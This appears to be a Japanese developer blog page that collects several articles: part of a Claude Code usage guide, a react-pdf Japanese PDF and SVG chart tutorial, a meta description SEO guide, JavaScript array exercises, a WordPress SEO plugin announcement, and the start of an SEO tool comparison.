Enter改行（全ターミナルで動作）Shift+Enter改行（iTerm2、WezTerm、Ghostty等）Ctrl+G外部エディタで入力を編集@ファイルパスの補完!Bashモード（コマンドを直接実行） CLAUDE.md — プロジェクト設定ファイル CLAUDE.mdは、Claudeに毎回読み込ませるプロジェクト固有の指示書です。コーディング規約やビルドコマンド、プロジェクト構造を記述しておくと、一貫した開発が可能になります。 配置場所と用途 場所スコープ用途./CLAUDE.mdプロジェクトチーム共有のルール（Git管理）~/.claude/CLAUDE.mdユーザー全体個人の好みや共通設定./CLAUDE.local.mdローカル個人用のプロジェクト設定（.gitignore推奨）./.claude/rules/モジュールトピック別のルールファイル 記述例 # プロジェクト名 ## 技術スタック - Next.js（App Router） - TypeScript - Tailwind CSS ## コーディング規約 - 変数名・関数名は英語 - コメントとコミットメッセージは日本語 - 最小フォントサイズは16px ## ビルドコマンド - 開発サーバー: `npm run dev` - ビルド: `npm run build` - テスト: `npm test` MCPサーバー — 外部ツール連携 MCP（Model Context Protocol）は、Claude Codeを外部のツールやサービスに接続する仕組みです。GitHub、データベース、Google Analytics、Slack などと連携できます。 設定方法 .claude/.mcp.jsonに設定を記述します。 { "mcpServers": { "github": { "type": "stdio", "command": "npx", "args": [ "@anthropics/mcp-server-github", "--repository", "owner/repo" ] } } } 接続方式は3種類あります。 方式説明用途stdioローカルサーバー（サブプロセス）GitHubやファイルシステム等HTTP/SSEリモートHTTPサーバー外部API連携SDKTypeScript/Pythonネイティブ統合カスタムツール開発 Hooks — 自動化フック Hooksは、Claude Codeの特定のイベント（ファイル編集後、セッション開始時など）に自動でシェルコマンドを実行する機能です。 設定例：ファイル編集後に自動フォーマット { "hooks": { "PostToolUse": [ { "matcher": "Edit|Write", "hooks": [ { "type": "command", "command": "npx prettier --write $CLAUDE_FILE_PATH" } ] } ] } } この設定を.claude/settings.jsonに書くと、Claudeがファイルを編集するたびにPrettierが自動実行されます。 Hooksの活用例 ファイル保存後にリンターを実行 セッション開始時に環境変数を読み込み 特定のファイルの編集をブロック Claudeが入力待ちになったらデスクトップ通知 パーミッションモード Claude Codeには5つのパーミッションモードがあり、ツール実行の許可レベルを制御できます。Shift+Tabでモードを切り替えられます。 モード動作使いどころdefaultほとんどのツール実行で許可を求める初めてのプロジェクト、慎重な作業acceptEditsファイル編集は自動許可、それ以外は確認コーディング中心の作業plan分析のみ、実行しない実装前の調査・計画autoAIが安全性を判断して自動実行信頼できるプロジェクトでの効率重視bypassPermissionsすべてスキップ（制限なし）自己責任での最速作業 ユースケース別 実践ガイド 1. 既存プロジェクトにClaude Codeを導入する # プロジェクトディレクトリで起動 cd my-project claude # 初期設定ファイルを生成 /init # CLAUDE.mdを編集して、プロジェクト固有のルールを追記 /memory 初回は/initでCLAUDE.mdを生成し、技術スタック・ビルドコマンド・コーディング規約を記述しましょう。以降のセッションでClaudeが自動的に従います。 2. コードレビューを依頼する # PRをレビュー /review #42 # 未コミットの差分を確認 /diff # セキュリティ観点でレビュー /security-review /reviewはGitHubのPRを自動で取得し、コードの問題点や改善案を提示します。CI前のセルフレビューに活用できます。 3. デバッグを効率化する エラーメッセージをそのまま貼り付けるだけで、Claudeがコードベースを検索して原因を特定し、修正案を提示します。 TypeError: Cannot read properties of undefined (reading 'map') at UserList (src/components/UserList.tsx:15:23) このエラーを修正して Claudeは該当ファイルを読み込み、nullチェックの追加やオプショナルチェーンの適用など、具体的な修正を行います。 4. 大規模リファクタリング # 計画を立ててから実行 /plan すべてのAPIレスポンスにエラーハンドリングを追加 # 大規模変更を並列実行 /batch 全コンポーネントのclassNameをCSS Modulesに移行 /planで実装方針を確認してから作業を開始すると、手戻りを防げます。/batchは複数ファイルの変更を並列で処理するので、大規模な一括変更に最適です。 5. Git操作をClaude Codeで行う Claude Codeはターミナルコマンドを実行できるため、Git操作も自然言語で指示できます。 今の変更をコミットしてプッシュして feature/auth ブランチを作って、ログイン機能を実装して mainとの差分を見せて コミットメッセージは変更内容を分析して自動生成されます。コードの「何を」「なぜ」変えたかを的確にまとめてくれるので、履歴の可読性が向上します。 ### [Next.js + @react-pdf/renderer 日本語PDF生成｜SVGチャート描画の解決策](https://codequest.work/nextjs-react-pdf-renderer-japanese/) Next.jsで「診断結果をPDFでダウンロードしたい」「請求書をブラウザから生成したい」という要件が出たとき、候補になるのがjsPDFと@react-pdf/rendererです。 本記事では、実際にSEO診断ツールのPDFレポート機能を実装した経験をもとに、@react-pdf/rendererを使った日本語PDF生成の方法を、SVGチャート描画のハマりどころや解決策とあわせて解説します。 jsPDF vs @react-pdf/renderer — どちらを選ぶべきか まず2つのライブラリの特徴を比較します。 jsPDF@react-pdf/rendererレイアウト座標を直接指定FlexboxベースのReactコンポーネント日本語対応addFontでBase64変換が必要Font.registerでパス指定できるTypeScript型定義が薄め充実している複雑なレイアウト座標管理がつらいコンポーネントに分割できるファイルサイズ小さめやや大きめ jsPDFは「表紙・サマリー・テーブル・チャートを組み合わせた複数ページ構成」になると、y座標を手動で管理し続ける必要があります。また日本語フォントを埋め込むにはttfをArrayBufferとして読み込んでBase64に変換する処理が必要です。 一方、@react-pdf/rendererはReactコンポーネントとして書けること、Font.registerがシンプルなこと、Flexboxでレイアウトできることが強みです。複数ページのレポートやダッシュボード型PDFには特に向いています。 セットアップ — インストールとフォント登録 以下の手順は@react-pdf/renderer公式のFontsドキュメントに沿っています。SVG周りの仕様は公式のSVGドキュメントを参照してください。 インストール npm install @react-pdf/renderer # または pnpm add @react-pdf/renderer 日本語フォントファイルを配置する 日本語フォント（NotoSansJP）を public/fonts/ に配置します。Google Fonts からttfをダウンロードするか、@fontsource/noto-sans-jp のnpmパッケージからコピーしてもOKです。 public/ fonts/ NotoSansJP-Medium.ttf フォント登録関数を作る フォント登録は複数回呼ばれると無駄なので、登録済みフラグで制御します。path.join(process.cwd(), ...) を使うのがポイントで、相対パスだとサーバーサイドで動かしたときにパスが解決できずエラーになります。 // lib/pdf/register-fonts.ts import { Font } from "@react-pdf/renderer" import path from "path" let registered = false export function registerFonts() { if (registered) return Font.register({ family: "NotoSansJP", src: path.join(process.cwd(), "public/fonts/NotoSansJP-Medium.ttf"), }) registered = true } 基本的なPDFコンポーネントの書き方 @react-pdf/rendererはDOMではなく独自のコンポーネント体系を持ちます。主なコンポーネントは以下の通りです。 コンポーネント役割DocumentPDF全体のルートPage1ページ分。size="A4" でA4サイズViewdivのような箱。Flexboxで配置Textテキスト表示。fontFamily指定必須StyleSheet.createスタイル定義 import { Document, Page, View, Text, StyleSheet } from "@react-pdf/renderer" const styles = StyleSheet.create({ page: { fontFamily: "NotoSansJP", fontSize: 10, padding: 40, backgroundColor: "#FFFFFF", }, heading: { fontSize: 16, fontWeight: "bold", marginBottom: 12, }, }) export function SampleDocument() { return ( <Document title="サンプルPDF"> <Page size="A4" style={styles.page}> <View> <Text style={styles.heading}>SEO診断レポート</Text> <Text>診断結果を日本語で表示できます。</Text> </View> </Page> </Document> ) } fontFamily: "NotoSansJP" をページレベルで指定しておくと、子要素全体に継承されます。 SVGチャート描画のハマりどころと解決策 スコアをビジュアルに表示するために、SVGで円形のプログレスチャートを実装しようとして、2つの大きな壁にぶつかりました。 問題1: SVGのTextでtextAnchorやfontSizeがtype errorになる @react-pdf/rendererにはSvg、Circle、Path、Text等のSVGコンポーネントが用意されています。しかし、SVG内の Text は通常のPDF用 Text と同名なのでimportが競合します。aliasを付けても textAnchor や fontSize をpropsに渡すと型エラーになります。 解決策: SVGの上にView/Textを position: "absolute" で重ねる SVGには図形だけを描いて、テキストの配置はReactPDFのコンポーネント側で行う方法が最もスッキリします。 import { View, Text, Svg, Circle } from "@react-pdf/renderer" export function ScoreCircle({ score, maxScore, size = 100 }: Props) { return ( <View style={{ width: size, height: size, alignItems: "center", justifyContent: "center" }}> <Svg width={size} height={size} style={{ position: "absolute" }}> <Circle cx={size / 2} cy={size / 2} r={size / 2 - 8} stroke="#E2E8F0" strokeWidth={6} fill="none" /> </Svg> <Text style={{ fontSize: size * 0.28, fontWeight: "bold" }}>{score}</Text> <Text style={{ fontSize: size * 0.12, color: "#64748B" }}>/ {maxScore}</Text> </View> ) } 問題2: CircleでstrokeDashoffsetが使えない 通常のSVGでは strokeDasharray と strokeDashoffset の組み合わせで円弧を描きますが、@react-pdf/rendererの Circle は strokeDashoffset が型定義に存在せずTypeエラーになります。 解決策: Path + describeArc関数で円弧を直接描く 三角関数で始点と終点の座標を計算して、SVGのArcコマンドでパスを生成します。 function describeArc( cx: number, cy: number, r: number, startAngle: number, endAngle: number ): string { const x1 = cx + r * Math.cos(startAngle) const y1 = cy + r * Math.sin(startAngle) const x2 = cx + r * Math.cos(endAngle) const y2 = cy + r * Math.sin(endAngle) const largeArc = Math.abs(endAngle - startAngle) > Math.PI ? 1 : 0 return `M ${x1} ${y1} A ${r} ${r} 0 ${largeArc} 1 ${x2} ${y2}` } この関数を使ってスコアに応じた円弧を描画します。 export function ScoreCircle({ score, maxScore, size = 100 }: Props) { const cx = size / 2 const cy = size / 2 const r = size / 2 - 8 const pct = maxScore > 0 ? score / maxScore : 0 const color = pct >= 0.8 ? "#22C55E" : pct >= 0.6 ? "#F59E0B" : "#EF4444" const startAngle = -Math.PI / 2 const endAngle = startAngle + 2 * Math.PI * pct return ( <View style={{ width: size, height: size, alignItems: "center", justifyContent: "center" }}> <Svg width={size} height={size} viewBox={`0 0 ${size} ${size}`} style={{ position: "absolute" }}> <Circle cx={cx} cy={cy} r={r} stroke="#E2E8F0" strokeWidth={6} fill="none" /> {pct > 0 && ( <Path d={describeArc(cx, cy, r, startAngle, endAngle)} stroke={color} strokeWidth={6} fill="none" strokeLinecap="round" /> )} </Svg> <Text style={{ fontSize: size * 0.28, fontWeight: "bold" }}>{score}</Text> <Text style={{ fontSize: size * 0.12, color: "#64748B" }}>/ {maxScore}</Text> </View> ) } ゲージチャート（半円）の場合は、startAngleを Math.PI、endAngleを 0 にすれば下半分をくり抜いた半円になります。 ### [meta descriptionの書き方ガイド【SEOに効くテンプレート・文字数・確認方法】](https://codequest.work/meta-description-seo-guide/) meta description（メタディスクリプション）とは、HTMLの <head> 内に書くページの要約文で、Googleが検索結果のスニペット（タイトル下の説明文）を作るときに使うことがある候補のひとつです。Google公式ドキュメントには文字数の上限は書かれておらず、スニペットは検索結果上で「必要に応じて、通常はデバイスの幅に合わせて」切り詰められます。つまり設計すべきは「何文字に収めるか」ではなく、重要な情報を前方に置けているかです。 もうひとつ、前提として押さえておくことがあります。スニペットは主にページ本文から作られ、meta descriptionは「本文から取るよりも的確だとGoogleが判断したときに使われることがある」という位置づけです。実測でも、Ahrefsが20,000キーワードで比較した調査では62.78%が書き換えられていました。書き換えは事故ではなく通常運転です。 この記事では、Google公式ドキュメントと実測データを根拠に、meta descriptionの役割・書き方・テンプレートを整理します。そのうえで、多くの解説記事が抜かしている「書いたdescriptionが実際にどう出ているかを自分で確認する4ステップ」を、すべて画面で確認できる合否ラインつきで示します。SEO全体の中での位置づけから確認したい場合は SEO対策の基本ガイド から読んでください。 meta descriptionとは｜スニペットの「候補」であって「原稿」ではない meta descriptionは、HTMLの <head> 内に name="description" として記述するメタタグです。記述そのものは1行で済みます。 <meta name="description" content="ここにページの要約文を書く"> スニペットは主に本文から作られる 多くの解説記事は「meta descriptionが検索結果に出る文章で、たまにGoogleが書き換える」という前提で書かれていますが、Google公式ドキュメントの説明は逆の順序です。 Snippets are primarily created from the page content itself. However, Google sometimes uses the meta description HTML element if it might give users a more accurate description of the page than content taken directly from the page. Google Search Central「Control your snippets in search results」 訳すと「スニペットは主にページのコンテンツ自体から作られる。ただし、ページから直接取ったコンテンツよりも的確な説明になりそうな場合、Googleはmeta description要素を使うことがある」です。出典: Control your snippets in search results | Google Search Central。 主従が逆であることを理解しておくと、後述する「書き換えられたときにどこを直すか」の判断が変わります。スニペットの主原料は本文なので、descriptionだけを書き直しても出てくる文章は変わらないことが多いのです。 それでもmeta descriptionを書く価値がある理由 採用されないことの方が多いなら書かなくてよい、とはなりません。理由は3つあります。 採用される割合はゼロではない。Ahrefsの調査では約37%、Portentの調査では1ページ目で約30%が、書いた文章のまま表示されている meta descriptionは検索結果以外でも読まれる。X（旧Twitter）・Slack・LINEなどのリンクカードは、og:descriptionが無い場合にdescriptionを拾う実装が多い 「このページを一文で言うと何か」を書く作業そのものが、本文の主題がぼやけていないかの点検になる 文字数ではなく「切り詰められる位置」で考える 「meta descriptionは何文字が正解か」は最も多い質問ですが、Google公式ドキュメントは文字数の上限を定めていません。 There's no limit on how long a meta description can be, but the snippet is truncated in Google Search results as needed, typically to fit the device width. Google Search Central「Control your snippets in search results」 「meta descriptionの長さに制限はないが、スニペットは検索結果上で必要に応じて、通常はデバイスの幅に合わせて切り詰められる」。ここで示されている基準は文字数ではなくデバイスの幅です。同じ文字数でも、全角と半角、漢字とひらがな、端末とフォントによって切れる位置は変わります。 「70〜120文字」という数字の正体 それでも実務では目安が要ります。次の表の数字は、SEO各社がSERPを大量に実測して広まった経験則であり、Google公式の推奨値ではありません。目安として使い、最終判定は自分のページの検索結果を見て行うのが正しい使い方です。 見るもの目安この数字の性質スマートフォンで切れずに残る量全角70文字前後実測から広まった経験則。端末幅とフォントで変動するPCで切れずに残る量全角120文字前後同上Google公式が定める上限なし公式ドキュメントに明記（上記引用） したがって実務で守るべきルールは「70文字以内に収める」ではなく「最も伝えたい結論とベネフィットを、先頭70文字前後の中に置く」です。後半が切れても意味が通る構造にしておけば、幅が変わっても損をしません。逆に「〜について詳しく解説します」のような結びを先頭に置くと、スマホでは中身が一切見えないまま切れます。 titleタグも同じルールで切れる 同じ考え方は <title> にも当てはまります。Google公式ドキュメントは「<title> 要素の長さに制限はないが、タイトルリンクは検索結果上で必要に応じて、通常はデバイスの幅に合わせて切り詰められる」と書いています。出典: Influencing your title links in search results | Google Search Central。 なお、titleについて「Googleのランキング要因である」と説明されることがありますが、Google公式ドキュメントにその記載はありません。公式が述べているのは、titleが検索結果のリンクテキストになり、ページ内容との関連性をユーザーと検索エンジンに伝える要素であるということです。descriptionと同様、順位そのものより「クリックされるかどうか」の側で効く要素だと捉えるのが実態に近い理解です。 書き換え率の実測データ｜書き換えは失敗ではない 「Googleがdescriptionを書き換えてしまう」のがどのくらい普通のことなのか、公開されている大規模調査は2件あります。どちらも2020年の調査で、Googleが手順を公開していない領域を外部から実測したものです。 調査規模書き換え率Ahrefs（2020年3月公開・同年10月更新）20,000キーワードのデスクトップ検索結果62.78%（ロングテールは65.62%、ビッグワードは59.65%）Portent（2020年9月公開）30,000キーワード・1ページ目の結果モバイル71% / デスクトップ68% 出典: Google Rewrites Meta Descriptions 62.78% of the Time [New Study] | Ahrefs ／ How Often Does Google Ignore Our Meta Descriptions? | Portent。 ここで注意したいのが、日本語の解説記事でよく見かける「約25%が書き換えられる」という数字です。Ahrefsの調査に出てくる25.02%は書き換え率ではなく、上位表示されているページのうち25.02%はそもそもmeta descriptionを設定していなかったという別の集計です。書き換え率は62.78%であり、意味も桁も違います。数字を引用するときは、調査元・年・サンプル数まで確認してください。 書き換えられたときに直すべきなのは本文の側 Googleは書き換えの判定手順を公開していないため、「こう書けば書き換えを防げる」と断定できる方法はありません。実務で取れる対処は次のとおりです。 書き換えられた文章が正確でクリックしたくなるなら、放置してよい。Googleがクエリに合わせて最適な部分を選んだ結果であり、直す理由がない 文の途中から始まる・意味が通らない・ページの主題と違う箇所が出ている場合は、descriptionではなくその文章の抜き出し元になっている本文を書き直す そもそも本文の冒頭に「このページで何が分かるか」が一文で書かれていないと、Googleは適切な抜き出し元を見つけられない。descriptionと本文冒頭の主題を揃える CTRが上がると何が変わるのか｜順位ではなく流入 meta descriptionの解説では「CTRが上がるとGoogleがユーザーに求められていると判断し、順位も上がる」と説明されることがありますが、これはGoogleが述べている内容ではありません。GoogleのJohn Mueller氏は、アクセス解析上の指標をランキングに使っているという理解を明確に否定しています。 I think there's a bit of misconception here that we're looking at things like the analytics bounce rate when it comes to ranking websites, and that's definitely not the case. John Mueller（Google）2022年6月のウェブマスター向けハングアウトより 「サイトのランキングにアナリティクスの直帰率のようなものを見ているという誤解が少しあると思うが、それは断じてそうではない」。出典: Google Again Says It Does Not Look At Analytics Bounce Rates For Ranking | Search Engine Roundtable。Googleが公開しているランキングシステムの一覧にも、CTRや直帰率は挙げられていません（A guide to Google Search ranking systems）。 期待できるのは「順位はそのままで流入が増える」こと meta descriptionを直して得られる効果は、順位の上昇ではなく同じ順位のままクリック数＝流入が増えることです。10位で月100回表示されているページのCTRが1%から2%になれば、順位が1ミリも動かなくてもクリックは1件から2件に増えます。これは順位施策とはまったく別の打ち手であり、順位が動かないことを失敗と判定してはいけません。 逆に言えば、そもそも表示回数が少ないページのdescriptionを磨いても意味がありません。母数が小さいとCTRの変動が誤差に埋もれます。 ### [JavaScript 配列メソッド練習問題10選【map・filter・reduce実践ドリル】](https://codequest.work/javascript-array-methods-practice/) JavaScript練習問題シリーズ JavaScript練習問題シリーズ JavaScriptの配列メソッド（map、filter、reduce、find、sortなど）は、実務で最も使用頻度が高い機能の一つです。この記事では、実践的な10問の練習問題を通じて、配列メソッドを確実に使いこなせるようになることを目指します。 各問題には「ヒント」と「解答例」を用意しています。まずは自力で考え、詰まったらヒントを参考にしてください。 本記事の10問は、ブラウザ上でコードを書いてその場で実行できるクイズ版「JavaScript配列メソッドクイズ」でも解けます。アプリにはこの10問に加えて、includes・slice・splice・Array.fromなどを扱うアプリ限定ドリル10問（計20問）を収録しています。 JS配列練習アプリ JavaScriptの基本文法（変数、関数、条件分岐、ループ）を理解している方 配列メソッドを「知っているけど使いこなせない」方 実務やポートフォリオで使えるスキルを身につけたい方 Q1. map 以下の商品リストの価格を、すべて税込み（10%）に変換した新しい配列を作成してください。 const products = [ { name: 'Tシャツ', price: 2000 }, { name: 'パーカー', price: 5000 }, { name: 'キャップ', price: 1500 }, { name: 'スニーカー', price: 8000 } ]; ヒント map()は配列の各要素を変換して新しい配列を返します。スプレッド構文 {...item} を使えば元のオブジェクトを変更せずにコピーできます。 解答例 const taxIncluded = products.map(item => ({ ...item, price: item.price * 1.1 })); console.log(taxIncluded); ポイント： map()はイミュータブル（元の配列を変更しない）な操作です。スプレッド構文で元のオブジェクトをコピーし、priceだけを上書きしています。 Q2. filter 以下のユーザーリストから、20歳以上かつアクティブなユーザーだけを抽出してください。 const users = [ { name: '田中', age: 25, active: true }, { name: '佐藤', age: 17, active: true }, { name: '鈴木', age: 30, active: false }, { name: '高橋', age: 22, active: true }, { name: '伊藤', age: 19, active: true } ]; 解答例 const activeAdults = users.filter(user => user.age >= 20 && user.active); console.log(activeAdults); ポイント： user.active === trueと書かなくても、user.activeだけで真偽値の判定ができます。 Q3. find / findIndex 以下の注文リストから、ステータスが「pending」の最初の注文とそのインデックス番号を取得してください。 const orders = [ { id: 101, status: 'completed', total: 3000 }, { id: 102, status: 'completed', total: 1500 }, { id: 103, status: 'pending', total: 4200 }, { id: 104, status: 'pending', total: 800 }, { id: 105, status: 'cancelled', total: 2000 } ]; 解答例 const pendingOrder = orders.find(order => order.status === 'pending'); const pendingIndex = orders.findIndex(order => order.status === 'pending'); console.log(pendingOrder); console.log(pendingIndex); ポイント： filter()は条件に合う全要素を配列で返しますが、find()は最初の1つだけを返します。1つだけ必要な場合はfind()の方が効率的です。 Q4. reduce 以下のカートの商品リストから、合計金額を計算してください。 const cart = [ { name: 'ノートPC', price: 120000, quantity: 1 }, { name: 'マウス', price: 3000, quantity: 2 }, { name: 'キーボード', price: 8000, quantity: 1 }, { name: 'モニター', price: 35000, quantity: 2 } ]; 解答例 const total = cart.reduce((sum, item) => sum + item.price * item.quantity, 0); console.log(total); ポイント： reduce()の第2引数（初期値）に0を渡すのを忘れないようにしましょう。省略すると配列の最初の要素が初期値になり、オブジェクト配列では意図しない動作になります。 Q5. some / every 以下のパスワードリストに対して、8文字以上のパスワードが1つでもあるか、すべてのパスワードが8文字以上か、を判定してください。 const passwords = ['abc', 'password123', 'hello', 'securePass!', '12345678']; 解答例 const hasLong = passwords.some(pw => pw.length >= 8); const allLong = passwords.every(pw => pw.length >= 8); console.log(hasLong, allLong); ポイント： バリデーション処理でよく使うパターンです。フォームの入力チェックで「いずれかが未入力か」をsome()で、「全て入力済みか」をevery()で判定できます。 Q6. sort 以下の記事リストを、公開日が新しい順に並べ替えてください。 const articles = [ { title: 'CSS Grid入門', publishedAt: '2025-01-15' }, { title: 'React Hooks解説', publishedAt: '2025-03-20' }, { title: 'JavaScript基礎', publishedAt: '2024-12-01' }, { title: 'TypeScript実践', publishedAt: '2025-02-10' } ]; 解答例 const sorted = [...articles].sort((a, b) => b.publishedAt.localeCompare(a.publishedAt) ); sorted.forEach(a => console.log(a.title)); ポイント： sort()は破壊的メソッドなので、スプレッド構文でコピーしてからソートするのがベストプラクティスです。 Q7. map + filter 以下の生徒リストから、合格者（スコア60以上）の名前だけを抽出した配列を作成してください。 const students = [ { name: '山田', score: 85 }, { name: '中村', score: 42 }, { name: '小林', score: 73 }, { name: '加藤', score: 58 }, { name: '吉田', score: 91 } ]; 解答例 const passedNames = students .filter(s => s.score >= 60) .map(s => s.name); console.log(passedNames); ポイント： 先にfilter()で絞り込んでからmap()で変換する方が、処理する要素数が少なくなり効率的です。 Q8. reduce 以下の商品リストを、カテゴリごとにグループ化したオブジェクトに変換してください。 const items = [ { name: 'りんご', category: 'fruit' }, { name: 'キャベツ', category: 'vegetable' }, { name: 'バナナ', category: 'fruit' }, { name: 'にんじん', category: 'vegetable' }, { name: 'ぶどう', category: 'fruit' } ]; 解答例 const grouped = items.reduce((acc, item) => ({ ...acc, [item.category]: [...(acc[item.category] || []), item.name] }), {}); console.log(grouped); ポイント： reduce()でオブジェクトを構築するパターンは実務で頻出です。ES2024以降ではObject.groupBy()も使えます。 Q9. flatMap 以下のユーザーリストから、全ユーザーのスキルを重複なしで1つの配列にまとめてください。 const developers = [ { name: '田中', skills: ['HTML', 'CSS', 'JavaScript'] }, { name: '佐藤', skills: ['JavaScript', 'React', 'TypeScript'] }, { name: '鈴木', skills: ['CSS', 'React', 'Vue'] } ]; 解答例 const allSkills = [...new Set(developers.flatMap(dev => dev.skills))]; console.log(allSkills); ポイント： flatMap()は配列の配列を1段階フラットにしながら変換できます。Setは重複を自動排除します。 Q10. 以下の売上データから、カテゴリごとの売上合計、売上トップ3の商品名、全商品の平均単価を求めてください。 ### [WordPressプラグイン「ORECTIC SEO CHECK」公開｜管理画面からSEO診断](https://codequest.work/orectic-seo-check-plugin/) WordPress管理画面を開いたまま、その場でSEO診断ができたら手間が減る——そう思ったことはないでしょうか。 このたびORECTICでは、WordPressプラグイン「ORECTIC SEO CHECK」をWordPress公式ディレクトリで公開しました。Direbase（ディレベース）の診断エンジンをWordPressの管理画面から直接呼び出せます。この記事では、プラグインの機能・インストール手順・よくある質問をまとめます。 ORECTIC SEO CHECK プラグインとは ORECTIC SEO CHECK は、WordPress管理画面からワンクリックでSEO診断を実行できる無料プラグインです。診断にはDirebaseのAPIを使用しており、URLを送信するだけで45項目・4カテゴリにわたるスコアが返ってきます。 ブラウザで別タブを開いてURLをコピペする手間がなく、管理画面で作業しながら診断結果をすぐ確認できます。 主な機能 総合スコア表示 — 100点満点でサイト全体のSEO健全性を可視化 4カテゴリ評価 — 構造化データ・基本SEO・コンテンツ・技術SEOをカテゴリ別にスコア化 詳細チェック項目 — タイトルタグ・メタディスクリプション・見出し構造・OGPタグなどを個別診断 改善提案 — 各チェック項目に対して具体的な改善アドバイスを表示 日英対応 — WordPressの言語設定に連動して診断結果を日本語／英語で表示 外部サービスとの通信について このプラグインは診断実行時に、診断対象のURLのみをCodeQuest APIに送信します。WordPressのログイン情報・投稿内容・個人情報は送信されません。「チェック実行」ボタンを押したときのみ通信が発生します。詳細はプライバシーポリシーをご確認ください。 インストール手順 WordPress公式ディレクトリから直接インストールできます。以下の手順で3分もあれば完了します。 WordPress管理画面の「プラグイン」→「新規追加」を開く 検索欄に「ORECTIC SEO CHECK」と入力して検索する 「今すぐインストール」→「有効化」をクリックする 左メニューに「ORECTIC SEO CHECK」が追加されるので開く 診断したいページのURLを入力して「チェック実行」をクリックする APIキーなしの状態では、累計3回まで無料で診断できます（月ごとのリセットはありません）。無料アカウントを登録すると、毎月3回にリセットされます。 APIキーの設定（任意） 無料枠を超えて診断したい場合はAPIキーを設定します。「ORECTIC SEO CHECK」→「設定」からAPIキーを入力して保存するだけです。APIキーはDirebaseのアカウントページから取得できます。 ▶ Direbaseのアカウント登録・APIキー取得はこちら 診断できる4カテゴリとスコアの見方 ORECTIC SEO CHECKはDirebaseと同じ診断エンジンを使用しています。100点満点のスコアは以下の4カテゴリで構成されます。 カテゴリ配点主な診断項目構造化データ40点JSON-LD検出・Schema.orgタイプ・必須プロパティ基本SEO30点タイトル・メタディスクリプション・見出し構造・canonicalコンテンツ品質20点文字数・画像alt属性・内部リンク数技術的SEO10点HTTPS・モバイル対応・ページ速度 構造化データの配点が高いのが特徴です。Googleが重視するJSON-LDの実装状況を詳細に診断します。各項目には改善提案も表示されるので、スコアを見るだけでなく次のアクションがわかります。 ▶ 各スコアの意味・改善方法の詳細はDirebaseガイドで確認 ブラウザ版Direbaseとの違い プラグイン版とブラウザ版（seo.codequest.work）は同じ診断エンジンを使いますが、用途が異なります。 プラグイン版ブラウザ版（Direbase）診断場所WordPress管理画面ブラウザ（seo.codequest.work）対象サイト自サイト中心任意のURL（競合サイトも可）競合比較なしベーシックプラン以上で対応改善コード生成なし（ブラウザ版へ誘導）無料プランは上位1項目／ベーシックプラン以上で全項目サイト全体診断なしエントリープラン以上で対応（10〜50ページ） 自サイトを管理画面からサクッと確認するならプラグイン版、競合と比較したり改善コードを生成したりするならブラウザ版という使い分けが自然です。 ▶ Direbaseの全機能・料金プランの詳細はこちら よくある質問 Q. APIキーは必ず必要ですか？ いいえ、APIキーなしでも累計3回まで無料で診断できます。無料アカウントを登録すると毎月3回にリセットされます。それ以上使いたい場合は有料プランのAPIキーを設定してください。 Q. 診断にかかる時間はどのくらいですか？ 通常10〜30秒程度です。診断対象サイトの応答速度によっては最大60秒かかる場合があります。 Q. どのようなデータが外部に送信されますか？ 診断対象のURLのみがCodeQuest APIに送信されます。WordPressのログイン情報・投稿内容・個人情報は一切送信されません。通信はチェック実行ボタンを押したときのみ発生します。 Q. 無料のままでどこまで使えますか？ 無料アカウントでは毎月3回の診断・スコア確認・改善提案の表示ができます。改善コードの自動生成はブラウザ版の無料プランでも上位1項目まで利用でき、全項目の生成はベーシックプラン以上です。競合比較はベーシックプラン（¥2,980/月）以上が必要です。なお無料プランで到達できるスコアの上限は83点です。 Q. WordPress 6.0より前のバージョンでは使えますか？ WordPress 6.0以上・PHP 7.4以上が必要です。現在WordPress 7.0.2まで動作確認済みです。古いバージョンをお使いの場合はアップデートしてからご利用ください。 まとめ ORECTIC SEO CHECKプラグインは、WordPress管理画面からSEO診断をワンクリックで実行できます。インストールはWordPress公式ディレクトリから検索するだけ。APIキー不要で3回まで無料で使えます。 自サイトをこまめにチェックする習慣づけに、ぜひ試してみてください。改善コード生成や競合比較といった上位機能はブラウザ版のDirebaseで対応しています。 ▶ WordPress公式ディレクトリでプラグインをダウンロード ▶ Direbaseブラウザ版を無料で試す ### [SEOチェックツール比較7選｜無料有料の目的別おすすめと選び方](https://codequest.work/seo-check-tools-comparison/) SEOチェックツールは、目的に応じて「検索実績を見るもの」「ページの品質を診断するもの」「キーワードを調べるもの」「被リンクを調べるもの」の4系統に分かれます。7つすべてを使う必要はなく、いま知りたいことを1つに決めれば、選ぶべきツールもほぼ自動的に決まります。 とはいえ、ツールの紹介記事を読むほど迷いは増えます。無料と書かれていても実際には有料プランでしか動かない機能があり、料金表も改定のたびに古い数字が出回るからです。ツール選びで失敗する原因のほとんどは「機能の優劣」ではなく、「そのツールが何を返してくれるのかを誤解したまま契約すること」にあります。 この記事では、7つのSEOチェックツールを「診断結果だけを返すのか、直すためのコードまで返すのか」という軸で整理し、目的別の選び方と組み合わせ方を解説します。記事の後半では、読んだあとに実際に1つ選んで動かすところまで確認できる手順も用意しました。 なお、本記事に記載した料金・機能・無料枠は、すべて2026年8月1日時点で各社の公式サイトを直接確認した内容です。各ツールの節に公式ページへのリンクを置いているので、導入前には必ず最新の表示をご確認ください。 SEOチェックツールを選ぶ3つの基準 ツールを比較する前に、自分が何を知りたいのかを言葉にしておくと選択肢は一気に絞れます。SEOチェックツールは、次の3つの軸で分類できます。 診断結果だけか、改善コードまで出るか 多くのSEOツールは「何が問題か」を高い精度で教えてくれます。一方で「では、どのコードを書けば直るのか」までを出力するツールは限られます。構造化データの記述漏れやメタタグの不備を指摘されても、修正の書き方がわからなければ、指摘は宿題として残ったままです。 ここは優劣ではなく役割の違いです。検索実績の可視化に徹するツール、監査項目の網羅に徹するツール、修正コードの出力まで踏み込むツールは、そもそも作られた目的が異なります。自分に手を動かす時間がどれくらいあるかで、必要な出力は変わります。 対象がページ単位かサイト全体か ページ単位の診断ツールは、公開前の記事チェックや特定ページのてこ入れに向いています。サイト全体をクロールするツールは、大量のページを一括で走査して構造的な問題（重複タイトル・孤立ページ・リンク切れなど）を洗い出すのに使います。 「1ページの質を上げたい」のか「サイト全体の穴を見つけたい」のかで、必要なツールは変わります。10ページ規模のサイトで大規模クロールツールを契約しても、返ってくる情報の大半は使い道がありません。 予算感と無料枠の中身 SEOツールの価格帯は、完全無料から月額20万円超まで開いています。重要なのは上限の額そのものより、「無料枠でどこまで触れるか」です。無料枠がまったくないツールは試してから判断できないため、導入のハードルが実質的に高くなります。 